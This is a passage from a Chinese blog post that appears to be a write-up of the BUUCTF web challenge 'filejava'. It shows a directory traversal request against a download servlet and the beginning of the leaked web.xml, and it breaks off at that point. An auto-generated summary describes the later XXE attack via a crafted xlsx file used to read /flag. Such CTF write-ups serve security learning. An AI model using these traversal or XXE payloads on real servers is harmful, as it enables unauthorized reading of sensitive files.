BUUCTF WEB filejava

最新推荐文章于 2025-03-04 09:42:47 发布

显哥无敌

最新推荐文章于 2025-03-04 09:42:47 发布

阅读量1.3k

点赞数

分类专栏： BUUCTF 文章标签： web安全

本文链接：https://blog.youkuaiyun.com/qq_41696858/article/details/127120413

版权

本文探讨了一次针对基于Java的Web应用程序的攻击，通过利用CVE-2014-3529漏洞，攻击者通过上传恶意的xlsx文件，在解析过程中触发XXE（XML外部实体注入）。通过指定恶意的DTD文件，攻击者可以读取服务器的敏感文件，例如/flag。攻击流程包括下载Servlet源码、反编译class文件，最终利用Content_Types].xml来执行恶意代码。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

哎，太菜了，继续更新吧
先说一下，kali尽量不要更新到python 3.10，否则好多工具都不能用了。尤其很多默认模块在3.10里面都进行了重写。。。。。。。
这题提示是java题目，上来先是一个上传窗口，尝试文件上传直接写马，发现不行。那就继续看，发现下载逻辑，尝试目录穿越。
由于扫出来是tomcat，做过java web业务的都知道最重要的一个配置文件是WEB-INF里面的web.xml文件，说他是万物之祖也不为过。尝试读取一下：

/DownloadServlet?filename=../../../../WEB-INF/web.xml

得到结果：

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
    <